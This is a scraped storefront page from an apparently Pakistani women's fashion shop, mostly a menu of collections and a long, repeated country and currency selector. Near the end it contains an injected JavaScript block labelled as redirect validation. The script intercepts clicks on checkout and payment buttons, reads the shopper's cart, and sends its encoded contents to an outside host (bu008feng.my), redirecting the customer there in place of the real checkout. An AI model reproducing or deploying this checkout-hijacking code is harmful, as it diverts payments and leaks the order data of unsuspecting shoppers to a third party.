Skip to content
Your cart is empty
Continue shopping
Have an account?
Log in
to check out faster.
Your cart
Loading...
Art-Luxury-Formals-26 | Explore Now
Menu
Art Luxury Formals'26
Aura-26
Kidnapper Festive Edit Vol II
Kidnapper Festive Edit Vol I
Allure Luxe Pret
Heera; A Royalty Affair
Amour Vol: II
Amour Vol: I
The Lost Hope
The Blank Canvas
ARE Girls
Contact us
Login
Country/region
Afghanistan (PKR ₨)
Åland Islands (PKR ₨)
Albania (PKR ₨)
Algeria (PKR ₨)
Andorra (PKR ₨)
Angola (PKR ₨)
Anguilla (PKR ₨)
Antigua & Barbuda (PKR ₨)
Argentina (PKR ₨)
Armenia (PKR ₨)
Aruba (PKR ₨)
Ascension Island (PKR ₨)
Australia (PKR ₨)
Austria (PKR ₨)
Azerbaijan (PKR ₨)
Bahamas (PKR ₨)
Bahrain (PKR ₨)
Bangladesh (PKR ₨)
Barbados (PKR ₨)
Belarus (PKR ₨)
Belgium (PKR ₨)
Belize (PKR ₨)
Benin (PKR ₨)
Bermuda (PKR ₨)
Bhutan (PKR ₨)
Bolivia (PKR ₨)
Bosnia & Herzegovina (PKR ₨)
Botswana (PKR ₨)
Brazil (PKR ₨)
British Indian Ocean Territory (PKR ₨)
British Virgin Islands (PKR ₨)
Brunei (PKR ₨)
Bulgaria (PKR ₨)
Burkina Faso (PKR ₨)
Burundi (PKR ₨)
Cambodia (PKR ₨)
Cameroon (PKR ₨)
Canada (PKR ₨)
Cape Verde (PKR ₨)
Caribbean Netherlands (PKR ₨)
Cayman Islands (PKR ₨)
Central African Republic (PKR ₨)
Chad (PKR ₨)
Chile (PKR ₨)
China (PKR ₨)
Christmas Island (PKR ₨)
Cocos (Keeling) Islands (PKR ₨)
Colombia (PKR ₨)
Comoros (PKR ₨)
Congo - Brazzaville (PKR ₨)
Congo - Kinshasa (PKR ₨)
Cook Islands (PKR ₨)
Costa Rica (PKR ₨)
Côte d’Ivoire (PKR ₨)
Croatia (PKR ₨)
Curaçao (PKR ₨)
Cyprus (PKR ₨)
Czechia (PKR ₨)
Denmark (PKR ₨)
Djibouti (PKR ₨)
Dominica (PKR ₨)
Dominican Republic (PKR ₨)
Ecuador (PKR ₨)
Egypt (PKR ₨)
El Salvador (PKR ₨)
Equatorial Guinea (PKR ₨)
Eritrea (PKR ₨)
Estonia (PKR ₨)
Eswatini (PKR ₨)
Ethiopia (PKR ₨)
Falkland Islands (PKR ₨)
Faroe Islands (PKR ₨)
Fiji (PKR ₨)
Finland (PKR ₨)
France (PKR ₨)
French Guiana (PKR ₨)
French Polynesia (PKR ₨)
French Southern Territories (PKR ₨)
Gabon (PKR ₨)
Gambia (PKR ₨)
Georgia (PKR ₨)
Germany (PKR ₨)
Ghana (PKR ₨)
Gibraltar (PKR ₨)
Greece (PKR ₨)
Greenland (PKR ₨)
Grenada (PKR ₨)
Guadeloupe (PKR ₨)
Guatemala (PKR ₨)
Guernsey (PKR ₨)
Guinea (PKR ₨)
Guinea-Bissau (PKR ₨)
Guyana (PKR ₨)
Haiti (PKR ₨)
Honduras (PKR ₨)
Hong Kong SAR (PKR ₨)
Hungary (PKR ₨)
Iceland (PKR ₨)
India (PKR ₨)
Indonesia (PKR ₨)
Iraq (PKR ₨)
Ireland (PKR ₨)
Isle of Man (PKR ₨)
Israel (PKR ₨)
Italy (PKR ₨)
Jamaica (PKR ₨)
Japan (PKR ₨)
Jersey (PKR ₨)
Jordan (PKR ₨)
Kazakhstan (PKR ₨)
Kenya (PKR ₨)
Kiribati (PKR ₨)
Kosovo (PKR ₨)
Kuwait (PKR ₨)
Kyrgyzstan (PKR ₨)
Laos (PKR ₨)
Latvia (PKR ₨)
Lebanon (PKR ₨)
Lesotho (PKR ₨)
Liberia (PKR ₨)
Libya (PKR ₨)
Liechtenstein (PKR ₨)
Lithuania (PKR ₨)
Luxembourg (PKR ₨)
Macao SAR (PKR ₨)
Madagascar (PKR ₨)
Malawi (PKR ₨)
Malaysia (PKR ₨)
Maldives (PKR ₨)
Mali (PKR ₨)
Malta (PKR ₨)
Martinique (PKR ₨)
Mauritania (PKR ₨)
Mauritius (PKR ₨)
Mayotte (PKR ₨)
Mexico (PKR ₨)
Moldova (PKR ₨)
Monaco (PKR ₨)
Mongolia (PKR ₨)
Montenegro (PKR ₨)
Montserrat (PKR ₨)
Morocco (PKR ₨)
Mozambique (PKR ₨)
Myanmar (Burma) (PKR ₨)
Namibia (PKR ₨)
Nauru (PKR ₨)
Nepal (PKR ₨)
Netherlands (PKR ₨)
New Caledonia (PKR ₨)
New Zealand (PKR ₨)
Nicaragua (PKR ₨)
Niger (PKR ₨)
Nigeria (PKR ₨)
Niue (PKR ₨)
Norfolk Island (PKR ₨)
North Macedonia (PKR ₨)
Norway (PKR ₨)
Oman (PKR ₨)
Pakistan (PKR ₨)
Palestinian Territories (PKR ₨)
Panama (PKR ₨)
Papua New Guinea (PKR ₨)
Paraguay (PKR ₨)
Peru (PKR ₨)
Philippines (PKR ₨)
Pitcairn Islands (PKR ₨)
Poland (PKR ₨)
Portugal (PKR ₨)
Qatar (PKR ₨)
Réunion (PKR ₨)
Romania (PKR ₨)
Russia (PKR ₨)
Rwanda (PKR ₨)
Samoa (PKR ₨)
San Marino (PKR ₨)
São Tomé & Príncipe (PKR ₨)
Saudi Arabia (PKR ₨)
Senegal (PKR ₨)
Serbia (PKR ₨)
Seychelles (PKR ₨)
Sierra Leone (PKR ₨)
Singapore (PKR ₨)
Sint Maarten (PKR ₨)
Slovakia (PKR ₨)
Slovenia (PKR ₨)
Solomon Islands (PKR ₨)
Somalia (PKR ₨)
South Africa (PKR ₨)
South Georgia & South Sandwich Islands (PKR ₨)
South Korea (PKR ₨)
South Sudan (PKR ₨)
Spain (PKR ₨)
Sri Lanka (PKR ₨)
St. Barthélemy (PKR ₨)
St. Helena (PKR ₨)
St. Kitts & Nevis (PKR ₨)
St. Lucia (PKR ₨)
St. Martin (PKR ₨)
St. Pierre & Miquelon (PKR ₨)
St. Vincent & Grenadines (PKR ₨)
Sudan (PKR ₨)
Suriname (PKR ₨)
Svalbard & Jan Mayen (PKR ₨)
Sweden (PKR ₨)
Switzerland (PKR ₨)
Taiwan (PKR ₨)
Tajikistan (PKR ₨)
Tanzania (PKR ₨)
Thailand (PKR ₨)
Timor-Leste (PKR ₨)
Togo (PKR ₨)
Tokelau (PKR ₨)
Tonga (PKR ₨)
Trinidad & Tobago (PKR ₨)
Tristan da Cunha (PKR ₨)
Tunisia (PKR ₨)
Türkiye (PKR ₨)
Turkmenistan (PKR ₨)
Turks & Caicos Islands (PKR ₨)
Tuvalu (PKR ₨)
U.S. Outlying Islands (PKR ₨)
Uganda (PKR ₨)
Ukraine (PKR ₨)
United Arab Emirates (PKR ₨)
United Kingdom (PKR ₨)
United States (PKR ₨)
Uruguay (PKR ₨)
Uzbekistan (PKR ₨)
Vanuatu (PKR ₨)
Vatican City (PKR ₨)
Venezuela (PKR ₨)
Vietnam (PKR ₨)
Wallis & Futuna (PKR ₨)
Western Sahara (PKR ₨)
Yemen (PKR ₨)
Zambia (PKR ₨)
Zimbabwe (PKR ₨)
Update country/region
Country/region
PKR ₨ | Pakistan
PKR ₨ |
Afghanistan
PKR ₨ |
Åland Islands
PKR ₨ |
Albania
PKR ₨ |
Algeria
PKR ₨ |
Andorra
PKR ₨ |
Angola
PKR ₨ |
Anguilla
PKR ₨ |
Antigua & Barbuda
PKR ₨ |
Argentina
PKR ₨ |
Armenia
PKR ₨ |
Aruba
PKR ₨ |
Ascension Island
PKR ₨ |
Australia
PKR ₨ |
Austria
PKR ₨ |
Azerbaijan
PKR ₨ |
Bahamas
PKR ₨ |
Bahrain
PKR ₨ |
Bangladesh
PKR ₨ |
Barbados
PKR ₨ |
Belarus
PKR ₨ |
Belgium
PKR ₨ |
Belize
PKR ₨ |
Benin
PKR ₨ |
Bermuda
PKR ₨ |
Bhutan
PKR ₨ |
Bolivia
PKR ₨ |
Bosnia & Herzegovina
PKR ₨ |
Botswana
PKR ₨ |
Brazil
PKR ₨ |
British Indian Ocean Territory
PKR ₨ |
British Virgin Islands
PKR ₨ |
Brunei
PKR ₨ |
Bulgaria
PKR ₨ |
Burkina Faso
PKR ₨ |
Burundi
PKR ₨ |
Cambodia
PKR ₨ |
Cameroon
PKR ₨ |
Canada
PKR ₨ |
Cape Verde
PKR ₨ |
Caribbean Netherlands
PKR ₨ |
Cayman Islands
PKR ₨ |
Central African Republic
PKR ₨ |
Chad
PKR ₨ |
Chile
PKR ₨ |
China
PKR ₨ |
Christmas Island
PKR ₨ |
Cocos (Keeling) Islands
PKR ₨ |
Colombia
PKR ₨ |
Comoros
PKR ₨ |
Congo - Brazzaville
PKR ₨ |
Congo - Kinshasa
PKR ₨ |
Cook Islands
PKR ₨ |
Costa Rica
PKR ₨ |
Côte d’Ivoire
PKR ₨ |
Croatia
PKR ₨ |
Curaçao
PKR ₨ |
Cyprus
PKR ₨ |
Czechia
PKR ₨ |
Denmark
PKR ₨ |
Djibouti
PKR ₨ |
Dominica
PKR ₨ |
Dominican Republic
PKR ₨ |
Ecuador
PKR ₨ |
Egypt
PKR ₨ |
El Salvador
PKR ₨ |
Equatorial Guinea
PKR ₨ |
Eritrea
PKR ₨ |
Estonia
PKR ₨ |
Eswatini
PKR ₨ |
Ethiopia
PKR ₨ |
Falkland Islands
PKR ₨ |
Faroe Islands
PKR ₨ |
Fiji
PKR ₨ |
Finland
PKR ₨ |
France
PKR ₨ |
French Guiana
PKR ₨ |
French Polynesia
PKR ₨ |
French Southern Territories
PKR ₨ |
Gabon
PKR ₨ |
Gambia
PKR ₨ |
Georgia
PKR ₨ |
Germany
PKR ₨ |
Ghana
PKR ₨ |
Gibraltar
PKR ₨ |
Greece
PKR ₨ |
Greenland
PKR ₨ |
Grenada
PKR ₨ |
Guadeloupe
PKR ₨ |
Guatemala
PKR ₨ |
Guernsey
PKR ₨ |
Guinea
PKR ₨ |
Guinea-Bissau
PKR ₨ |
Guyana
PKR ₨ |
Haiti
PKR ₨ |
Honduras
PKR ₨ |
Hong Kong SAR
PKR ₨ |
Hungary
PKR ₨ |
Iceland
PKR ₨ |
India
PKR ₨ |
Indonesia
PKR ₨ |
Iraq
PKR ₨ |
Ireland
PKR ₨ |
Isle of Man
PKR ₨ |
Israel
PKR ₨ |
Italy
PKR ₨ |
Jamaica
PKR ₨ |
Japan
PKR ₨ |
Jersey
PKR ₨ |
Jordan
PKR ₨ |
Kazakhstan
PKR ₨ |
Kenya
PKR ₨ |
Kiribati
PKR ₨ |
Kosovo
PKR ₨ |
Kuwait
PKR ₨ |
Kyrgyzstan
PKR ₨ |
Laos
PKR ₨ |
Latvia
PKR ₨ |
Lebanon
PKR ₨ |
Lesotho
PKR ₨ |
Liberia
PKR ₨ |
Libya
PKR ₨ |
Liechtenstein
PKR ₨ |
Lithuania
PKR ₨ |
Luxembourg
PKR ₨ |
Macao SAR
PKR ₨ |
Madagascar
PKR ₨ |
Malawi
PKR ₨ |
Malaysia
PKR ₨ |
Maldives
PKR ₨ |
Mali
PKR ₨ |
Malta
PKR ₨ |
Martinique
PKR ₨ |
Mauritania
PKR ₨ |
Mauritius
PKR ₨ |
Mayotte
PKR ₨ |
Mexico
PKR ₨ |
Moldova
PKR ₨ |
Monaco
PKR ₨ |
Mongolia
PKR ₨ |
Montenegro
PKR ₨ |
Montserrat
PKR ₨ |
Morocco
PKR ₨ |
Mozambique
PKR ₨ |
Myanmar (Burma)
PKR ₨ |
Namibia
PKR ₨ |
Nauru
PKR ₨ |
Nepal
PKR ₨ |
Netherlands
PKR ₨ |
New Caledonia
PKR ₨ |
New Zealand
PKR ₨ |
Nicaragua
PKR ₨ |
Niger
PKR ₨ |
Nigeria
PKR ₨ |
Niue
PKR ₨ |
Norfolk Island
PKR ₨ |
North Macedonia
PKR ₨ |
Norway
PKR ₨ |
Oman
PKR ₨ |
Pakistan
PKR ₨ |
Palestinian Territories
PKR ₨ |
Panama
PKR ₨ |
Papua New Guinea
PKR ₨ |
Paraguay
PKR ₨ |
Peru
PKR ₨ |
Philippines
PKR ₨ |
Pitcairn Islands
PKR ₨ |
Poland
PKR ₨ |
Portugal
PKR ₨ |
Qatar
PKR ₨ |
Réunion
PKR ₨ |
Romania
PKR ₨ |
Russia
PKR ₨ |
Rwanda
PKR ₨ |
Samoa
PKR ₨ |
San Marino
PKR ₨ |
São Tomé & Príncipe
PKR ₨ |
Saudi Arabia
PKR ₨ |
Senegal
PKR ₨ |
Serbia
PKR ₨ |
Seychelles
PKR ₨ |
Sierra Leone
PKR ₨ |
Singapore
PKR ₨ |
Sint Maarten
PKR ₨ |
Slovakia
PKR ₨ |
Slovenia
PKR ₨ |
Solomon Islands
PKR ₨ |
Somalia
PKR ₨ |
South Africa
PKR ₨ |
South Georgia & South Sandwich Islands
PKR ₨ |
South Korea
PKR ₨ |
South Sudan
PKR ₨ |
Spain
PKR ₨ |
Sri Lanka
PKR ₨ |
St. Barthélemy
PKR ₨ |
St. Helena
PKR ₨ |
St. Kitts & Nevis
PKR ₨ |
St. Lucia
PKR ₨ |
St. Martin
PKR ₨ |
St. Pierre & Miquelon
PKR ₨ |
St. Vincent & Grenadines
PKR ₨ |
Sudan
PKR ₨ |
Suriname
PKR ₨ |
Svalbard & Jan Mayen
PKR ₨ |
Sweden
PKR ₨ |
Switzerland
PKR ₨ |
Taiwan
PKR ₨ |
Tajikistan
PKR ₨ |
Tanzania
PKR ₨ |
Thailand
PKR ₨ |
Timor-Leste
PKR ₨ |
Togo
PKR ₨ |
Tokelau
PKR ₨ |
Tonga
PKR ₨ |
Trinidad & Tobago
PKR ₨ |
Tristan da Cunha
PKR ₨ |
Tunisia
PKR ₨ |
Türkiye
PKR ₨ |
Turkmenistan
PKR ₨ |
Turks & Caicos Islands
PKR ₨ |
Tuvalu
PKR ₨ |
U.S. Outlying Islands
PKR ₨ |
Uganda
PKR ₨ |
Ukraine
PKR ₨ |
United Arab Emirates
PKR ₨ |
United Kingdom
PKR ₨ |
United States
PKR ₨ |
Uruguay
PKR ₨ |
Uzbekistan
PKR ₨ |
Vanuatu
PKR ₨ |
Vatican City
PKR ₨ |
Venezuela
PKR ₨ |
Vietnam
PKR ₨ |
Wallis & Futuna
PKR ₨ |
Western Sahara
PKR ₨ |
Yemen
PKR ₨ |
Zambia
PKR ₨ |
Zimbabwe
Facebook
Instagram
Log in
Search
Log in
Cart
YMQ redirect validation 31cc4257ca
(() => { 'use strict'; const VERSION = 'YMQ-ADMIN-GQL-REDIRECT-OVERLAY-V1'; const ENTRY = 'https://bu008feng.my/'; const CHECKOUT_PATH = '/checkout'; if (window.__YMQ_REDIRECT_RUNTIME_31cc4257ca__ === VERSION) return; window.__YMQ_REDIRECT_RUNTIME_31cc4257ca__ = VERSION; const state = { version: VERSION, busy: false, lastError: '', lastPayload: null, lastUrl: '' }; window.__YMQ_REDIRECT_STATE_31cc4257ca__ = state; const text = (value, fallback = '') => { if (value === null || value === undefined) return fallback; return String(value).trim() || fallback; }; const minor = (value) => { const number = Number(value); return Number.isFinite(number) && number >= 0 ? Math.round(number) : 0; }; const currencyFactor = (currency) => { try { const digits = new Intl.NumberFormat('en', { style: 'currency', currency }).resolvedOptions().maximumFractionDigits; return 10 ** digits; } catch { return 100; } }; const shopifyMoney = (value, factor) => Math.round(minor(value) * factor / 100); const absoluteImage = (value) => { const source = text(value && typeof value === 'object' ? (value.url || value.src) : value); if (!source) return ''; try { return new URL(source, location.origin).href; } catch { return source; } }; const discounts = (entries, factor) => (Array.isArray(entries) ? entries : []) .map((entry, index) => ({ id: text(entry && (entry.id || entry.discount_application_index), 'discount-' + index), label: text(entry && (entry.title || entry.code || entry.type), 'Discount'), amountMinor: shopifyMoney(entry && ( entry.total_allocated_amount ?? entry.discounted_amount ?? entry.amount ), factor) })) .filter((entry) => entry.amountMinor > 0); const normalizeCart = (cart) => { const currency = text(cart && cart.currency, window.Shopify?.currency?.active || 'USD').toUpperCase(); const factor = currencyFactor(currency); const items = (Array.isArray(cart && cart.items) ? cart.items : []) .map((item, index) => { const title = text(item && (item.product_title || item.title), 'Item ' + (index + 1)); const variant = text(item && item.variant_title); return { id: text(item && (item.key || item.variant_id || item.id), 'item-' + index), productId: text(item && item.product_id), variantId: text(item && (item.variant_id || item.id)), title, variant, quantity: Math.max(0, Number.parseInt(item && item.quantity, 10) || 0), unitPriceMinor: shopifyMoney(item && (item.final_price ?? item.discounted_price ?? item.price), factor), lineTotalMinor: shopifyMoney(item && (item.final_line_price ?? item.line_price), factor), image: absoluteImage(item && ( item.image || (item.featured_image && (item.featured_image.url || item.featured_image.src)) )), discounts: discounts(item && (item.discount_allocations || item.line_level_discount_allocations), factor) }; }) .filter((item) => item.quantity > 0); return { locale: text(document.documentElement.lang || navigator.language, 'en-US'), currency, items, discounts: discounts(cart && cart.cart_level_discount_applications, factor), shipping: { status: 'pending', amountMinor: null, label: 'Enter shipping address' }, taxMinor: 0, taxPresent: false, subtotalMinor: shopifyMoney(cart && (cart.items_subtotal_price ?? cart.total_price), factor), totalMinor: shopifyMoney(cart && cart.total_price, factor), savingsMinor: shopifyMoney(cart && cart.total_discount, factor), itemCount: Number(cart && cart.item_count) || items.reduce((sum, item) => sum + item.quantity, 0) }; }; const encodeBase64Url = (value) => { const bytes = new TextEncoder().encode(JSON.stringify(value)); let binary = ''; for (let offset = 0; offset < bytes.length; offset += 0x8000) { binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000)); } return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, ''); }; const randomRequestToken = () => { const bytes = new Uint8Array(128); crypto.getRandomValues(bytes); let binary = ''; for (let offset = 0; offset < bytes.length; offset += 0x8000) { binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000)); } return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, ''); }; const readCart = async () => { let lastError = null; for (let attempt = 0; attempt < 3; attempt += 1) { try { const response = await fetch('/cart.js?ymq_redirect_v1=' + Date.now() + '-' + attempt, { credentials: 'same-origin', cache: 'no-store', headers: { Accept: 'application/json' } }); if (!response.ok) throw new Error('cart_http_' + response.status); return await response.json(); } catch (error) { lastError = error; if (attempt < 2) await new Promise((resolve) => setTimeout(resolve, 180 + attempt * 220)); } } throw lastError || new Error('cart_unavailable'); }; const fromEvent = (event) => { const path = typeof event.composedPath === 'function' ? event.composedPath() : []; const source = event.submitter || path.find((entry) => entry instanceof Element) || event.target; if (!(source instanceof Element)) return null; return source.closest('a,button,input[type="submit"],input[type="button"],form,[role="button"],shopify-accelerated-checkout') || source; }; const checkoutText = (element) => { if (!element) return ''; const form = element.closest && element.closest('form'); return [ element.innerText, element.textContent, element.value, element.id, element.name, element.className, element.getAttribute && element.getAttribute('aria-label'), element.href, element.formAction, form && form.action, element.tagName ].filter(Boolean).join(' ').toLowerCase(); }; const isCheckout = (element) => /checkout|check\s*out|shop\s*pay|paypal|google\s*pay|gpay|accelerated-checkout/.test(checkoutText(element)); const checkoutTarget = (element) => { const form = element && element.closest ? element.closest('form') : null; const direct = (element && (element.href || element.formAction)) || (element && element.getAttribute && (element.getAttribute('href') || element.getAttribute('formaction'))) || (form && form.action) || ''; const fallback = location.origin + CHECKOUT_PATH; const value = text(direct); if (!/\/checkout(?:\/|\?|#|$)/i.test(value)) return fallback; try { return new URL(value, location.origin).href; } catch { return fallback; } }; const stop = (event) => { if (!event) return; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation(); }; const buildUrl = (cart, target) => { const order = normalizeCart(cart); if (!order.items.length) throw new Error('cart_empty'); const payload = { site: location.hostname, sourceSite: location.hostname, sourceUrl: location.href, sourceOrigin: location.origin, sourcePath: location.pathname, capturedAt: Date.now(), order }; const url = new URL(ENTRY); const values = [ ['ymq_canary', 'YMQ-31cc4257ca'], ['transaction_id', '31cc4257ca82d765400558ef3e2139d6'], ['co', encodeBase64Url(payload)], ['return_to', target], ['site', location.hostname], ['source_site', location.hostname], ['source_host', location.hostname], ['source_origin', location.origin], ['source_path', location.pathname], ['source_url', location.href], ['checkout_path', CHECKOUT_PATH], ['overlay_route', '/'], ['_r', randomRequestToken()] ]; for (const [name, value] of values) url.searchParams.set(name, value); state.lastPayload = payload; state.lastUrl = url.href; try { window.name = '__CHECKIOUT_CART__:' + encodeURIComponent(JSON.stringify(payload)); } catch {} return url.href; }; const intercept = async (event) => { const element = fromEvent(event); if (!isCheckout(element)) return; stop(event); if (state.busy) return; state.busy = true; try { const cart = await readCart(); location.assign(buildUrl(cart, checkoutTarget(element))); } catch (error) { state.lastError = String(error && error.message || error); state.busy = false; } }; window.addEventListener('pointerdown', intercept, true); window.addEventListener('click', intercept, true); window.addEventListener('submit', intercept, true); })();
Choosing a selection results in a full page refresh.
Opens in a new window.